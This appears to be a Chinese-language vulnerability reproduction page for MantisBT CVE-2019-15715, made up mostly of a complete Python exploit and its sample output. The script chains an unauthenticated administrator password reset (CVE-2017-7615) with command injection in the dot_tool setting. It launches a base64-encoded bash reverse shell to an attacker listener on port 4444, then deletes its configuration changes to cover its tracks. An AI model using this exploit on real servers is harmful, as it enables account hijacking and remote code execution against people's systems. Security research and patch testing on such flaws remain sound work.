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(CVE-2019-15715)MantisBT 远程命令执行漏洞

一、漏洞简介

该漏洞源于外部输入数据构造操作系统可执行命令过程中,网络系统或产品未正确过滤其中的特殊字符、命令等。攻击者可利用该漏洞执行非法操作系统命令。

二、漏洞影响

MantisBT 1.3.20 - 2.22.1

三、复现过程

poc

使用方法

kali@kali:~/Desktop$ python exploit.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up


kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2019-15715.py

# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)
# Date: 2020-09-17
# Vulnerability Discovery: hyp3rlinx, permanull
# Exploit Author: Nikolas Geiselman
# Vendor Homepage: https://mantisbt.org/
# Software Link: https://mantisbt.org/download.php
# Version: 1.3.0/2.3.0
# Tested on: Ubuntu 16.04/19.10/20.04
# CVE : CVE-2017-7615, CVE-2019-15715
# References:
# https://mantisbt.org/bugs/view.php?id=26091
# https://www.exploit-db.com/exploits/41890

'''

This exploit chains together two CVE's to achieve unauthenticated remote code execution.
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).

Usage:
Set netcat listener on port 4444
Send exploit with "python exploit.py"

Example output:

kali@kali:~/Desktop$ python exploit.py
Successfully hijacked account!
Successfully logged in!
Triggering reverse shell
Cleaning up
Deleting the dot_tool config.
Deleting the relationship_graph_enable config.
Successfully cleaned up


kali@kali:~/Desktop$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978
bash: cannot set terminal process group (835): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

'''

import requests
from urllib import quote_plus
from base64 import b64encode
from re import split


class exploit():
    def __init__(self):
        self.s = requests.Session()
        self.headers = dict()  # Initialize the headers dictionary
        self.RHOST = "192.168.116.151"  # Victim IP
        self.RPORT = "80"  # Victim port
        self.LHOST = "192.168.116.135"  # Attacker IP
        self.LPORT = "4444"  # Attacker Port
        self.verify_user_id = "1"  # User id for the target account
        self.realname = "administrator"  # Username to hijack
        self.passwd = "password"  # New password after account hijack
        self.mantisLoc = "/mantisbt-2.3.0"  # Location of mantis in URL
        self.ReverseShell = "echo " + b64encode(
            "bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash"  # Reverse shell payload

    def reset_login(self):
        # Request # 1: Grab the account update token
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='
        r = self.s.get(url=url, headers=self.headers)
        if r.status_code == 404:
            print "ERROR: Unable to access password reset page"
            exit()

        account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]

        # Request # 2: Reset the account password
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'
        data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd
        self.headers.update({'Content-Type': 'application/x-www-form-urlencoded'})
        r = self.s.post(url=url, headers=self.headers, data=data)

        if r.status_code == 200:
            print "Successfully hijacked account!"

    def login(self):
        data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'

        r = self.s.post(url=url, headers=self.headers, data=data)
        if "login_page.php" not in r.url:
            print "Successfully logged in!"

    def CreateConfigOption(self, option, value):
        # Get adm_config_set_token
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'
        r = self.s.get(url=url, headers=self.headers)

        adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]

        # Create config
        data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(
            value) + "&action=create&config_set=Create+Configuration+Option"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'
        r = self.s.post(url=url, headers=self.headers, data=data)

    def TriggerExploit(self):
        print "Triggering reverse shell"

        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'
        try:
            r = self.s.get(url=url, headers=self.headers, timeout=3)
        except:
            pass

    def Cleanup(self):
        # Delete the config settings that were created to send the reverse shell
        print "Cleaning up"

        cleaned_up = False

        cleanup = requests.Session()

        CleanupHeaders = dict()
        CleanupHeaders.update({'Content-Type': 'application/x-www-form-urlencoded'})

        data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"
        url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'
        r = cleanup.post(url=url, headers=CleanupHeaders, data=data)

        ConfigsToCleanup = ['dot_tool', 'relationship_graph_enable']

        for config in ConfigsToCleanup:
            # Get adm_config_delete_token
            url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"
            r = cleanup.get(url=url, headers=self.headers)
            test = split('<!-- Repeated Info Rows -->', r.text)

            # First element of the response list is garbage, delete it
            del test[0]

            cleanup_dict = dict()
            for i in range(len(test)):
                if config in test[i]:
                    cleanup_dict.update({'config_option': config})
                    cleanup_dict.update({'adm_config_delete_token':
                                             test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})
                    cleanup_dict.update({'user_id': test[i].split('name="user_id" value=')[1].split('"')[1]})
                    cleanup_dict.update({'project_id': test[i].split('name="project_id" value=')[1].split('"')[1]})

            # Delete the config
            print "Deleting the " + config + " config."

            url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"
            data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict[
                'user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict[
                       'config_option'] + "&_confirmed=1"
            r = cleanup.post(url=url, headers=CleanupHeaders, data=data)

            # Confirm if actually cleaned up
            r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php",
                            headers=CleanupHeaders, verify=False)
            if config in r.text:
                cleaned_up = False
            else:
                cleaned_up = True

        if cleaned_up == True:
            print "Successfully cleaned up"
        else:
            print "Unable to clean up configs"


exploit = exploit()
exploit.reset_login()
exploit.login()
exploit.CreateConfigOption(option="relationship_graph_enable", value="1")
exploit.CreateConfigOption(option="dot_tool", value=exploit.ReverseShell + ';')
exploit.TriggerExploit()
exploit.Cleanup()